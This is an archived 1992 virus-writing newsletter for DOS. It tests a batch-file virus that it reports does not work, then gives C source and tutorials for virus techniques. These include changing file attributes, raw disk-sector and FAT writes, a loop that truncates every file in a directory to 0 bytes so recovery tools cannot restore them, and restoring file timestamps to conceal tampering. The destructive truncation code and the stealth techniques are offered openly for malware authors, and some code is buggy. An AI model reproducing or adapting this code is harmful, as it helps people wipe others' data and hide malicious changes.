💾 Archived View for spam.works › mirrors › textfiles › virus › cmvs-2.v1 captured on 2023-06-16 at 21:01:30.
-=-=-=-=-=-=-
DISCLAIMER: The author will NOT accept responsibility for any damage to your computer media and/or files, or responsibility for any action you might take that will result in legal proceedings, the source code, if any, in this newsletter is THE REAL THING, and you, after you read this, will be well aware of what virii are capable of, and knowing that, it is expected that you will act responsibly. DISCLAIMER II: All I know about programming I have learned on my own, and did not go to school for, and am still learning. As a result, I am sometimes prone to make mistakes, and be wrong about things, so please be patient if I should make a mistake, or say something that isn't true, which would be totally unintentional. Viriisearch ----------- The Virus Research Newsletter Volume 1, Number 2 7/2/92 CREDITS: ----------------------------------------------------------------------------- Author...................................................Criminal Minded <tm> Editor...................................................Criminal Minded <tm> Ideas, Source, Examples Supplied By......................Criminal Minded <tm> Facts Stolen From Several Sources By.....................Criminal Minded <tm> ----------------------------------------------------------------------------- Introduction: Welcome To The Second Issue Of Viriisearch, The Virus Research Newsletter. In this issue: Batch File Virii: How Effective Are They? Methods Used To Do The Following: 1. Removing/Altering Attributes On Files 2. Writing To The File Allocation Table 3. Truncating Files To 0 Bytes (They cannot be recovered with this method, but it is rather slow) 4. Saving/Restoring File Dates/Times 5. Formatting Fun With COMMAND.COM Sample Source Code Of Virii "Suicidal Tendencies" Department/Virus Of The Month Final Notes ----------------------------------------------------------------------------- Batch File Virii: How Effective Are They? ----------------------------------------------------------------------------- This Is A Batch File Virus: ----------------------------------------------------------------------------- echo = off ctty nul path c:\msdos dir *.com/w>ind edlin ind<1 debug ind<2 edlin name.bat<3 ctty con name ----------------------------------------------------------------------------- This is what each line in the batch file does: Line: What It Does: ----------------------------------------------------------------------------- echo = off Turns Echo Off ctty nul Turns Console Output Off path c:\msdos Sets up the path in the environment as C:\MSDOS dir *.com/w>ind Redirects the output of the command "DIR *.COM/W to a File Called "IND" edlin ind>1 Edits "IND" File Using The Edlin Commands In "1" edlin ind>2 Edits "IND" File Using The Edlin Commands In "2" edlin name.bat>3 Edits "NAME.BAT" Using The Edlin Commands In "3" ctty con Restores Output To The Console name Runs NAME.BAT ----------------------------------------------------------------------------- Contents Of The File "1" ----------------------------------------------------------------------------- 1,4d ( Here line 1-4 of the "IND" file are deleted ) e ( Save file ) ----------------------------------------------------------------------------- Contents Of The File "2" ----------------------------------------------------------------------------- m100,10b,f000 (First program name is moved to the F000H address to save) e108 ".BAT" (Extention of file name is changed to .BAT) m100,10b,f010 (File is saved again) e100"DEL " (DEL command is written to address 100H) mf000,f00b,104 (Original file is written after this command) e10c 2e (Period is placed in from of extension) e110 0d,0a (Carrige return+ line feed) mf010,f020,11f ( Modified file is moved to 11FH address from buffer area) e112 "COPY \VR.BAT" ( COPY command is now placed in front of file) e12b od,0a (COPY command terminated with carriage return + lf) rxc ( The CX register is ... ) 2c ( set to 2CH) nname.bat ( Name it NAME.BAT) w ( Write ) q ( quit ) ----------------------------------------------------------------------------- Contents Of The File "3" ----------------------------------------------------------------------------- 0100 31 2C 31 3F 52 20 1A 0D-6E 79 79 79 79 79 79 79 1 , 1 ? . . n y y y y y y y 0110 79 29 0D 32 2C 32 3F 52-20 1A OD 6E 6E 79 79 79 y . 2 , ? ? r . . n n y y y 0120 79 79 79 79 29 0D 45 0D-00 00 00 00 00 00 00 00 y y y y . E . . . . . . . . . ----------------------------------------------------------------------------- Ok, according to the author, this batch file makes use of EDLIN and DEBUG and only affects .COM files. I ran it twice, first on one of my DOS bootable disks. This is the directory listing of that disk before I ran this supposed "batch file virus" Volume in drive A has no label Volume Serial Number is 004A-1EC0 Directory of A:\ COMMAND COM 47845 04-09-91 5:00a ANSI SYS 9029 04-09-91 5:00a RAMDRIVE SYS 5873 04-09-91 5:00a CONFIG SYS 39 01-01-80 12:04a SYS COM 13440 04-09-91 5:00a NDOS COM 2419 08-14-84 12:00p UNDELETE EXE 13924 04-09-91 5:00a MEM EXE 39818 04-09-91 5:00a SFORMAT EXE 64921 08-05-91 6:01a DEBUG EXE 21692 06-07-90 2:24a EDLIN EXE 14121 06-07-90 2:24a ATTRB EXE 6232 01-01-80 12:21a AUTOEXEC BAT 69 01-01-80 12:02a NORTON INI 530 01-01-80 12:01a VR BAT 112 01-01-80 7:00p 1 10 01-01-80 7:01p 2 171 01-01-80 7:04p 3 269 01-01-80 7:08p 18 file(s) 240514 bytes 353280 bytes free ----------------------------------------------------------------------------- Ok, I ran VR.BAT and it accessed the disk for about 30 seconds and then the computer froze up. So I rebooted and looked at the disk. There was no file damage, but there were four new files on the disk: IND 120 bytes IND.BAK 209 bytes NAME.BAT 120 bytes NAME.$$ 0 bytes ----------------------------------------------------------------------------- This is the contents of "IND" COMMAND.COM SYS.COM NDOS.COM 3 file(s) 63704 bytes 286720 bytes free ----------------------------------------------------------------------------- This Is The Contents Of "IND.BAK" ----------------------------------------------------------------------------- Volume in drive A has no label Volume Serial Number is 004A-1EC0 Directory of A:\ COMMAND.COM SYS.COM NDOS.COM 3 file(s) 63704 bytes 286720 bytes free ----------------------------------------------------------------------------- And This Is The Contents Of "NAME.BAT" ----------------------------------------------------------------------------- del MMAN.bat. S copy \vr.batO COMMAN.bat 3 file(s) 63704 bytes 286720 bytes free ----------------------------------------------------------------------------- I Then Proceeded To Run NAME.BAT and all that did was give me a "File Not Found" And A Few "Bad Command Or Filename"'s I Am Not Too Sure Of What This Individual Was Attempting To Do, But I Would Not Be Too Worried About Him Being Capable Of Doing Anything Malicious To Your System As His Batch File Virus Is A Piece Of Shit. Also, I Created A Directory Called MSDOS On The Disk, Copied COMMAND.COM, SYS.COM, And NDOS.COM To That Directory And Ran VR.BAT again. It Did The Same Thing As Before, And Did Not Do Any Damage To The Files In The Root Directory Or A:\MSDOS ----------------------------------------------------------------------------- Methods Used To Do The Following: 1. Removing/Altering Attributes On Files 2. Writing To The File Allocation Table 3. Truncating Files To 0 Bytes 4. Saving/Restoring File Dates/Times 5. Formatting ----------------------------------------------------------------------------- Removing/Altering Attributes On Files: ----------------------------------------------------------------------------- Here Is A Simple C Language Source To Change The Attributes To Normal On A File Called "TEST.DAT" ----------------------------------------------------------------------------- #include <dos.h> int main (void); main() { _dos_setfileattr("TEST.DAT", _A_NORMAL); } ----------------------------------------------------------------------------- I Think It's Pretty Much Self-Explanatory. <dos.h> Is Just The Header File That Has The Prototype For "_dos_setfileattr" In It And The Definition For The Manifest Constant "_A_NORMAL" int main (void); Is The Function Prototype For "main()" Declaring It To Return Type "int" And Is Passed No Parameters (void). This Is Keeping Up With The ANSI Standard. Then _dos_setfileattr("TEST.DAT",_A_NORMAL); which does the actual attribute change. ----------------------------------------------------------------------------- Now, A Complete Utility To Change Attributes That I Wrote On 09/16/91. This Is The Third Revision Of It, Version 3.0. I Am Proud Of This Particular Version, As The Source Code Is 92 Lines, and 3238 Bytes. The Executable Is 9165 Bytes, Which Is Relatively Small. That Just Shows That This Is A Well Written Utility, Especially Compared To Version 1.0, Which Was 1/3 Of The Lines, And The Executable Was Around 20K. ----------------------------------------------------------------------------- #include <stdio.h> #include <dos.h> int count1=0,loop=0; main(argc,argv) int argc; char *argv[]; { if (argc != 2) { printf("Usage: C>ATTRB <filespec>\n\n"); printf("File Attributes Changer v3.0 Written By Criminal Minded.\n"); printf("09/16/91.\n"); exit(1); } else { struct find_t all_file; while (loop!=4) { if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file)) { printf("\nFile(s) do not exist.\n"); exit(1); } else { printf("1. Normal\n"); printf("2. Read Only\n"); printf("3. Hidden\n"); printf("4. System\n"); printf("5. Hidden/System/Read Only\n\n"); printf("Enter Your Choice: "); switch(getch()) { case '1': loop=4; _dos_setfileattr(all_file.name, _A_NORMAL); printf("\n\nFile: %s successfully changed to: NORMAL.\n", all_file.name); count1++; while (_dos_findnext(&all_file) == 0) { count1++; _dos_setfileattr(all_file.name, _A_NORMAL); printf("File: %s successfully changed to: NORMAL.\n", all_file.name); } printf("\n%d Files.\n", count1); break; case '2': loop=4; _dos_setfileattr(all_file.name, _A_RDONLY); printf("\n\nFile: %s successfully changed to: READ ONLY.\n", all_file.name); count1++; while (_dos_findnext(&all_file) == 0) { count1++; _dos_setfileattr(all_file.name, _A_RDONLY); printf("File: %s successfully changed to: READ ONLY.\n", all_file.name); } printf("\n%d Files.\n", count1); break; case '3': loop=4; _dos_setfileattr(all_file.name, _A_HIDDEN); count1++; printf("\n\nFile: %s successfully changed to: HIDDEN.\n", all_file.name); while (_dos_findnext(&all_file) == 0) { count1++; _dos_setfileattr(all_file.name, _A_HIDDEN); printf("File: %s successfully changed to: HIDDEN.\n", all_file.name); } printf("\n%d Files.\n", count1); break; case '4': loop=4; _dos_setfileattr(all_file.name, _A_SYSTEM); count1++; printf("\n\nFile: %s successfully changed to: SYSTEM.\n", all_file.name); while (_dos_findnext(&all_file) == 0) { count1++; _dos_setfileattr(all_file.name, _A_SYSTEM); printf("File: %s successfully changed to: SYSTEM.\n", all_file.name); } printf("\n%d Files.\n", count1); break; case '5': loop=4; _dos_setfileattr(all_file.name, _A_HIDDEN|_A_SYSTEM|_A_RDONLY); count1++; printf("\nFile: %s successfully changed to: HIDDEN/SYSTEM/READ ONLY.\n", all_file.name); while (_dos_findnext(&all_file) == 0) { count1++; _dos_setfileattr(all_file.name, _A_HIDDEN|_A_SYSTEM|_A_RDONLY); printf("\nFile: %s successfully changed to: HIDDEN/SYSTEM/READ ONLY.\n", all_file.name); } printf("\n%d Files.\n", count1); break; default: loop=5; printf("\n\nThat was not a valid menu selection.\n\n"); printf("Please try again:\n\n"); break; } } } } } ----------------------------------------------------------------------------- "Dissection" Of The Source Code To Attrb v3.0 ----------------------------------------------------------------------------- int count1=0,loop=0; This Is Just Global Declaration And Inititialization Of Two Integers, Called "count1" and "loop" You Should Always Initialize Your Integers To Zero, Because "C" Can Sometimes Assign The Value To The Integer That Is In The Area Of Memory The Compiler Sets Aside For The Integer, Which Could Result In Your Program Not Working The Way You Wanted It To. "count1" keeps track of the number of files whose attributes were changed through the use of the "increment operator" ( ++ ) which adds the value of 1 to the integer everytime it changes the attribute on a file. count1++; /* adds the value of 1 to "count1" */ When there are no more files left to change, it prints the total number of files whose attributes were altered with this line: printf("\n%d Files.\n", count1); %d is a format specifier, telling the printf function we are printing a int. The value to print comes from "count1" at the end, printf looks in there and obtains the value, then prints it. ----------------------------------------------------------------------------- main(argc,argv) int argc; char *argv[]; ----------------------------------------------------------------------------- This is how command line parameters are incorporated into programs. argc, a integer, keeps track of the number of actual parameters passed. char *argv[] is the actual parameter. ATTRB v3.0 takes one command line parameter, a file specification. C>ATTRB30 TEST.DAT With this, argc would = 2, and argv would be as follows: argv[0] = "C" argv[1] = "TEST.DAT" argv[0] always has "C" in it. Now, how do you make sure the person using the utility entered the command line parameter? Like this: if (argc != 2) { printf("Usage: C>ATTRB <filespec>\n\n"); printf("File Attributes Changer v3.0 Written By Criminal Minded.\n"); printf("09/16/91.\n"); exit(1); } argc should equal 2, so the line: if (argc!=2) is saying: if argc doesn't equal 2 (! means NOT and = means equal) If argc doesn't equal 2, that means no command line parameter was passed to the program, so it carries out the four lines in between the { and the } see below: printf("Usage: C>ATTRB <filespec>\n\n"); printf("File Attributes Changer v3.0 Written By Criminal Minded.\n"); printf("09/16/91.\n"); exit(1); it tells you the "usage" of the program: Usage: C>ATTRB <filespec> telling you it needs one command line parameter, a filespec then it prints the name of the program, author, and date, and exits with a error code of 1. If argc DOES equal 2, it goes to this part of the program: Without Comments: else { struct find_t all_file; while (loop!=4) { if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file)) { printf("\nFile(s) do not exist.\n"); exit(1); } With Comments: else { /* else do this if the parameter is supplied */ struct find_t all_file; /* this tells the program we are going to use the */ /* structure defined in DOS.H called "find_t" */ /* see below for a description of "find_t" */ while (loop!=4) { /* will keep going until loop doesn't equal 4 */ /* this next line searches for the filename you specified, using the */ /* "bitwise OR" operator, | to OR the attribute manifest constants */ /* together, so it will find any file matching the one you specified */ /* regardless of the attribute it has. If _dos_findfirst NOT equals */ /* 0, that means the file you specified doesn't exist, so it tells */ /* you and exits with a error code of 1 */ /* Also in this line is where we pass argv[1] over to the "all_file" */ /* structure, which is the same as the "find_t" structure. We just */ /* basically changed the name with the line: struct find_t all_file */ if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file) !=0)) { printf("\nFile(s) do not exist.\n"); exit(1); } ----------------------------------------------------------------------------- OK, let me interrupt here for a brief discussion of the "find_t" structure declared and defined in "DOS.H" ----------------------------------------------------------------------------- The "find_t" structure: struct find_t { char reserved[21]; char attrib; unsigned wr_time; unsigned wr_date; long size; char name[13]; }; Ok, a structure is just a simple way of organizing data and you won't have to declare the data types every time, you could just use the structure. The members of this structure are: char reserved[21]; /* character array, can hold 21 chars. Reserved by DOS */ char attrib; /* holds the attribute */ unsigned wr_time; /* holds the time of the file */ unsigned wr_date; /* holds the date of the file */ long size; /* holds the file size */ char name[13]; /* holds the filename */ at the end of the structure is: }; this signifies the end of it the structure, but because there is no name there, we can rename the structure to anything we line, like we did with the line: struct find_t all_file now had the structure had a name there, such as: struct find_t { char reserved[21]; char attrib; unsigned wr_time; unsigned wr_date; long size; char name[13]; } fileinfo; we couldn't rename the structure. The members of the structure would be referred to as: fileinfo.attrib fileinfo.wr_time fileinfo.wr_date fileinfo.size fileinfo.name but since we renamed the structure to "all_file" the members are called: all_file.attrib all_file.wr_time etc and so on... Get it? Good. Now back to ATTRB v3.0 ----------------------------------------------------------------------------- We left off here: else { struct find_t all_file; while (loop!=4) { if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file)) { printf("\nFile(s) do not exist.\n"); exit(1); } As I said, in the 4th line in the above example, argv[1] is passed over to the "all_file" structure, so argv[1] from now on will be referred to as: all_file.name If the above part of the program does find a matching file, it will go onto this part of the program: Once again, note the "if else" In English: if findfile function doesn't find a matching file, print message and exit. else do this: else { printf("1. Normal\n"); printf("2. Read Only\n"); printf("3. Hidden\n"); printf("4. System\n"); printf("5. Hidden/System/Read Only\n\n"); printf("Enter Your Choice: "); easy eh? you will notice the { and the } throughout the program, those are VERY, VERY important in how your program works. I will cover those after I am done with explaining how the program works. Anyway, the above part of the source just displays the simple menu, showing your choices. If you select 1, it will change the attributes of the matching files to the normal attribute, 2 will make them read only, etc.... This is how it gets the input from the user: switch(getch()) { getch() is a function which means "get character" the "switch" allows the use of "case statements" ----------------------------------------------------------------------------- case '1': loop=4; _dos_setfileattr(all_file.name, _A_NORMAL); printf("\n\nFile: %s successfully changed to: NORMAL.\n", all_file.name); count1++; while (_dos_findnext(&all_file) == 0) { count1++; _dos_setfileattr(all_file.name, _A_NORMAL); printf("File: %s successfully changed to: NORMAL.\n", all_file.name); } printf("\n%d Files.\n", count1); break; ----------------------------------------------------------------------------- 11 lines: Line 1. Will carry out all the functions after case '1': IF the 1 key is pressed. Also on the first line: loop=4; This gives the value of 4 to the integer "loop" Earlier in the code, there was: while (loop!=4) Which will keep going until the integer holds a value other than 4 Since we assign 4 to it at every case statement, it keeps going. The purpose of this is if you hit a wrong key, such as 8, which isn't available on the menu, it will go to default, where it assigns 5 to loop causing it to display this message: That was not a valid menu selection. Please try again: and then "break" out of the loop and go back to the menu, and re-display it. This is how it does it: default: loop=5; printf("\n\nThat was not a valid menu selection.\n\n"); printf("Please try again:\n\n"); break; ----------------------------------------------------------------------------- Now back to "case '1'" ----------------------------------------------------------------------------- case '1': loop=4; _dos_setfileattr(all_file.name, _A_NORMAL); printf("\n\nFile: %s successfully changed to: NORMAL.\n", all_file.name); count1++; while (_dos_findnext(&all_file) == 0) { count1++; _dos_setfileattr(all_file.name, _A_NORMAL); printf("File: %s successfully changed to: NORMAL.\n", all_file.name); } printf("\n%d Files.\n", count1); break; ----------------------------------------------------------------------------- Ok, this picks up where if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file)) { left off. _dos_findfirst finds the FIRST matching file and then displays the menu. If you select one, it will go to the case '1': statement and change the attribute of all_file.name to NORMAL using this line: _dos_setfileattr(all_file.name, _A_NORMAL); Then it prints a line telling you the result. %s is another format specifier used by printf, like %d mentioned earlier, but %s is to print a string, and all_file.name (at the end) contains the string to be printed. printf("\n\nFile: %s successfully changed to: NORMAL.\n", all_file.name); Then it adds the value of 1 to count1 to keep track of the total number of files attributes were changed on. count1++; Once it does all that, it goes onto this part of the code: while (_dos_findnext(&all_file) == 0) { count1++; _dos_setfileattr(all_file.name, _A_NORMAL); printf("File: %s successfully changed to: NORMAL.\n", all_file.name); } printf("\n%d Files.\n", count1); break; This is a while loop, until _dos_findnext DOESN'T equal 0, it will keep going because as long as it does equal 0, that means there are matching files. The next 3 lines have already been explained. Once there are no more files, it goes to: printf("\n%d Files.\n", count1); break; Which prints how many files were changed, breaks out of the loop and exits the program. The only difference between case 1, case 2, case 3, case 4, and case 5, is the attribute that the file is changed to. Case 1: Normal (Can Be Deleted, Written To) Case 2: Read Only (Cannot Be Written To Or Deleted) Case 3: Hidden (Filename Is Not Seen When You Type DIR, But Still Can Be Executed If A .COM, .EXE, or .BAT File, Can Still Be Read If A Text File, Etc But Cannot Be Deleted, DOS Replies: File Not Found) Case 4: System (Like The File Doesn't Exist. Cannot Be Deleted, Executed Or Read) Case 5: Hidden/System/Read Only (Combination Of 3, 4 and 5) ----------------------------------------------------------------------------- A VERY important part of C language are the curly brackets, { and } We will now go through the code one more time telling what each { and } is for. I will put a number next to each one, like so: [1] and [2] and [3] etc.. at the end of the code, I will tell what each one is for. ----------------------------------------------------------------------------- #include <stdio.h> #include <dos.h> int count1=0,loop=0; main(argc,argv) int argc; char *argv[]; { [1] if (argc != 2) { [2] printf("Usage: C>ATTRB <filespec>\n\n"); printf("File Attributes Changer v3.0 Written By Criminal Minded.\n"); printf("09/16/91.\n"); exit(1); } [3] else { [4] struct find_t all_file; while (loop!=4) { [5] if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file)) { [6] printf("\nFile(s) do not exist.\n"); exit(1); } [7] else { [8] printf("1. Normal\n"); printf("2. Read Only\n"); printf("3. Hidden\n"); printf("4. System\n"); printf("5. Hidden/System/Read Only\n\n"); printf("Enter Your Choice: "); switch(getch()) { [9] case '1': loop=4; _dos_setfileattr(all_file.name, _A_NORMAL); printf("\n\nFile: %s successfully changed to: NORMAL.\n", all_file.name); count1++; while (_dos_findnext(&all_file) == 0) { [10] count1++; _dos_setfileattr(all_file.name, _A_NORMAL); printf("File: %s successfully changed to: NORMAL.\n", all_file.name); } [11] printf("\n%d Files.\n", count1); break; case '2': loop=4; _dos_setfileattr(all_file.name, _A_RDONLY); printf("\n\nFile: %s successfully changed to: READ ONLY.\n", all_file.name); count1++; while (_dos_findnext(&all_file) == 0) { [12] count1++; _dos_setfileattr(all_file.name, _A_RDONLY); printf("File: %s successfully changed to: READ ONLY.\n", all_file.name); } [13] printf("\n%d Files.\n", count1); break; case '3': loop=4; _dos_setfileattr(all_file.name, _A_HIDDEN); count1++; printf("\n\nFile: %s successfully changed to: HIDDEN.\n", all_file.name); while (_dos_findnext(&all_file) == 0) { [14] count1++; _dos_setfileattr(all_file.name, _A_HIDDEN); printf("File: %s successfully changed to: HIDDEN.\n", all_file.name); } [15] printf("\n%d Files.\n", count1); break; case '4': loop=4; _dos_setfileattr(all_file.name, _A_SYSTEM); count1++; printf("\n\nFile: %s successfully changed to: SYSTEM.\n", all_file.name); while (_dos_findnext(&all_file) == 0) { [16] count1++; _dos_setfileattr(all_file.name, _A_SYSTEM); printf("File: %s successfully changed to: SYSTEM.\n", all_file.name); } [17] printf("\n%d Files.\n", count1); break; case '5': loop=4; _dos_setfileattr(all_file.name, _A_HIDDEN|_A_SYSTEM|_A_RDONLY); count1++; printf("\nFile: %s successfully changed to: HIDDEN/SYSTEM/READ ONLY.\n", all_file.name); while (_dos_findnext(&all_file) == 0) { [18] count1++; _dos_setfileattr(all_file.name, _A_HIDDEN|_A_SYSTEM|_A_RDONLY); printf("\nFile: %s successfully changed to: HIDDEN/SYSTEM/READ ONLY.\n", all_file.name); } [19] printf("\n%d Files.\n", count1); break; default: loop=5; printf("\n\nThat was not a valid menu selection.\n\n"); printf("Please try again:\n\n"); break; } [20] } [21] } [22] } [23] } [24] ----------------------------------------------------------------------------- For every { there has to be a } Groups of code, such as particular functions, while loops, switch statements, and the main body of the program are enclosed in between { and } ----------------------------------------------------------------------------- Pairs: What The Are For: ----------------------------------------------------------------------------- [1] [24] Enclose The Main Body Of The Program [2] [3] Enclose The Body Of Code To Execute If argc Doesn't Equal 2 [4] [21] Enclose The Body Of Code To Execute If argc Does Equal 2 [5] [22] Enclose The Body Of Code To Execute Until loop Doesn't Equal 4 [6] [7] Enclose The Body Of Code To Execute If _dos_findfirst Doesn't Find A Matching File [8] [23] Enclose The Body Of Code To Execute If _dos_findfirst Does Find A Matching File [9] [20] For The Switch Statement Beginning And Ending [10] [11] Enclose The Body Of Code To Execute While _dos_findnext is Still Finding Matching Files (case '1') [12] [13] Enclose The Body Of Code To Execute While _dos_findnext is Still Finding Matching Files (case '2') [14] [15] Enclose The Body Of Code To Execute While _dos_findnext is Still Finding Matching Files (case '3') [16] [17] Enclose The Body Of Code To Execute While _dos_findnext is Still Finding Matching Files (case '4') [18] [19] Enclose The Body Of Code To Execute While _dos_findnext is Still Finding Matching Files (case '5') ----------------------------------------------------------------------------- By Now I Am Sure You Can See The Importance Of Curly Brackets And Where You Place Them In Your Code. I Recall Someone Thinking They Were A Awesome Programmer Because They Knew A Few Nice Third Party Commercial C Libraries, But The Didn't Know The Language Too Well, And As A Result, He Was Not The Great Programmer He Thought He Was. ----------------------------------------------------------------------------- Writing/Reading The File Allocation Table: ----------------------------------------------------------------------------- #include <bios.h> int main (void); main() { struct diskinfo_t disk_info; disk_info.drive=2; /* 0 = Drive A, 1 = Drive B, 2 = Drive C */ disk_info.head=0; /* disk drive head */ disk_info.track=0; /* track to read from */ disk_info.sector=1; /* Starting Sector */ disk_info.nsectors=10; /* Number Of Sectors To Read */ _bios_disk(_DISK_READ,&disk_info); } ----------------------------------------------------------------------------- The Above Code Will Read 10 Sectors Starting At Sector 1 On Track 0, Side 0 Of Drive C. The _bios_disk function makes use of the "diskinfo_t" structure in "BIOS.H" The diskinfo_t structure: struct diskinfo_t { unsigned drive; unsigned head; unsigned track; unsigned sector; unsigned nsectors; void far *buffer; }; ----------------------------------------------------------------------------- If you wanted to write to the disk rather than read from it, replace this line: _bios_disk(_DISK_READ,&disk_info); With this: _bios_disk(_DISK_WRITE,&disk_info); _DISK_READ and _DISK_WRITE are known as 'Manifest Constants' They tell the _bios_disk function whether to read or write... Starting sector and number of sectors will vary depending on the media you want to read from or write to the file allocation table (FAT) on. ----------------------------------------------------------------------------- Truncating Files To 0 Bytes: ----------------------------------------------------------------------------- #include <fcntl.h> #include <sys\types.h> #include <sys\stat.h> #include <io.h> #include <dos.h> int main (void); main() { int fh; struct find_t find_all; _dos_findfirst("*.*",_A_NORMAL|_A_RDONLY|_A_HIDDEN|_A_SYSTEM,&find_all); _dos_setfileattr(find_all.name,_A_NORMAL); fh=open(find_all.name,O_TRUNC); close(fh); while (_dos_findnext(&all_file) == 0) { _dos_setfileattr(find_all.name,_A_NORMAL); fh=open(find_all.name,O_TRUNC); close(fh); } } ----------------------------------------------------------------------------- We've Already Covered _dos_findfirst, _dos_findnext, _dos_setfileattr And Structures So We Will Concentrate On The "open" And "close" Functions, Which Are Relatively Simple. The Following Line Opens "find_all.name" And The Manifest Constant "O_TRUNC" Passed To The "open" Function Causes The File Being Opened To Be Truncated To 0 Bytes. fh=open(find_all.name,O_TRUNC); And Then We Close The Open Handle, Which Was Passed To The Integer "fh" By The "open" Function. close(fh); When We Close The File, It Gets Written Back To The Disk In The Same Exact Spot, But With It's Contents Destroyed. UNERASE (C) Symantec And Similar "File Recovery" Utilities Cannot Recover The Files. The Only Drawback To This Method Is That It Is Awfully Slow. ----------------------------------------------------------------------------- Saving/Restoring File Dates/Times: ----------------------------------------------------------------------------- Below is a C program to change the date and time stamp on a file called "TEST.TXT" to 01/01/82 and 1:32am ----------------------------------------------------------------------------- #include <fcntl.h> #include <sys\types.h> #include <sys\stat.h> #include <io.h> #include <stdlib.h> #include <stdio.h> #include <dos.h> int fh=0; unsigned date=0x421; unsigned time=0xC0F; int main(void); main() { _dos_open("TEST.TXT",O_RDONLY,&fh); _dos_setftime(fh,date,time); _dos_close(fh); } ----------------------------------------------------------------------------- _dos_open is passed three parameters, the file, the mode to open the file with, and a integer. The file is self explanatory, the mode is O_RDONLY which is read only. It is not neccesarry to open the file in a writable mode since we won't actually be writing to the file. The filename is passed to the integer "fh" The next function, _dos_setftime, is passed the integer, "fh", and the date and time to set on the file. date and time are unsigned integers. date has the hexadecimal value, 0x421, which is: 01/01/82 and time has the hexadecimal value, 0xC0F, which is 1:32am. This function sets the specified date and time and then the integer "fh" is passed to the _dos_close function, which closes the file. ----------------------------------------------------------------------------- We can preserve the original date and time stamp on a file by using the function called "_dos_getftime" ----------------------------------------------------------------------------- #include <fcntl.h> #include <sys\types.h> #include <sys\stat.h> #include <io.h> #include <stdlib.h> #include <stdio.h> #include <dos.h> int fh; unsigned date; unsigned time; int main(void); main() { _dos_open("TEST.TXT",O_RDONLY,&fh); _dos_getftime(fh,&date,&time); _dos_close(fh); } ----------------------------------------------------------------------------- This program is virtually identical to the previous one except that we use _dos_getftime in place of _dos_setftime. ----------------------------------------------------------------------------- If you were wondering where to get the hexadecimal values for setting the date and time, you can do it this way: ----------------------------------------------------------------------------- #include <fcntl.h> #include <time.h> #include <sys\types.h> #include <sys\stat.h> #include <io.h> #include <stdlib.h> #include <stdio.h> #include <dos.h> int fh; char filename[13] = {"*.*"}; FILE *stream; unsigned date; unsigned mtime; int main(void); main() { struct stat buf; struct find_t all_file; stream=fopen("HEXTABLE.TXT","a"); _dos_findfirst(filename, _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file); _dos_open(all_file.name,O_RDONLY,&fh); _dos_getftime(fh,&date,&mtime); fstat(fh,&buf); _dos_close(fh); fprintf(stream,"-----------------------------------------------------------------------------\n"); fprintf(stream," Hexadecimal:\t\t| Regular:\n"); fprintf(stream,"-----------------------------------------------------------------------------\n"); fprintf(stream," %x %x\t\t| %s",date,mtime,ctime(&buf.st_atime)); while (_dos_findnext(&all_file) == 0) { _dos_open(all_file.name,O_RDONLY,&fh); _dos_getftime(fh,&date,&mtime); fstat(fh,&buf); _dos_close(fh); fprintf(stream," %x %x\t\t| %s",date,mtime,ctime(&buf.st_atime)); } fclose(stream); } ----------------------------------------------------------------------------- This is actually very simple. It uses the file finding methods used in ATTRB v3.0, discussed earlier, with one difference: It doesn't take a command line parameter like ATTRB did...instead the filespec is declared in the code as a character array: char filename[13] = {"*.*"}; In this case, it finds ALL the files, using wildcards. You can change it to find any file(s) you want, for instance: char filename[13] = {"*.COM"}; Would find all the files that have a extension of .COM The curly braces { and } surrounding the filespec are neccessary when initializing a array. This is the structure for returning the date and time on the file: struct stat buf; And this is the structure for finding the files: struct find_t all_file; Here it opens the "HEXTABLE.TXT" file. Note the "a" switch, which means "append" if the file exists, it will write to the end of the file. If it doesn't exist, it will create it. stream=fopen("HEXTABLE.TXT","a"); Here it starts the search. It attempts to locate the first file matching: char filename[13] = {"*.*"}; and passes the filename found to the "all_file" structure _dos_findfirst(filename, _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file); Here _dos_open opens the file, and passes the file handle to the integer "fh" _dos_open(all_file.name,O_RDONLY,&fh); And here it gets the file date and time, storing it in the two unsigned integers "date" and "mtime" NOTE: I originall called had used "time" instead of "mtime" and it wouldn't compile and link the file because "time" is a function in the standard library that came with the compiler. Told ya I'm still learning! BTW, the screw up with 'time' was Microsoft's fault. That's what they used in the manual. _dos_getftime(fh,&date,&mtime); Here it gets the stats on the file as outlined in the stat structure. fstat(fh,&buf); Then it close the file that the integer "fh" points to. _dos_close(fh); and prints the following lines to the file "HEXTABLE.TXT" fprintf(stream,"-----------------------------------------------------------------------------\n"); fprintf(stream," Hexadecimal:\t\t| Regular:\n"); fprintf(stream,"-----------------------------------------------------------------------------\n"); fprintf(stream," %x %x\t\t| %s",date,mtime,ctime(&buf.st_atime)); \t is a TAB, %s is a string, and %x is a hexadecimal value. It prints date and mtime as hex values, and prints the regular date and time as a string with the help of the "ctime" function. And the following code basically does the same thing until there are no more files matching "all_file.name" while (_dos_findnext(&all_file) == 0) { _dos_open(all_file.name,O_RDONLY,&fh); _dos_getftime(fh,&date,&mtime); fstat(fh,&buf); _dos_close(fh); fprintf(stream," %x %x\t\t| %s",date,mtime,ctime(&buf.st_atime)); } then it close "HEXTABLE.TXT" and exits. fclose(stream); }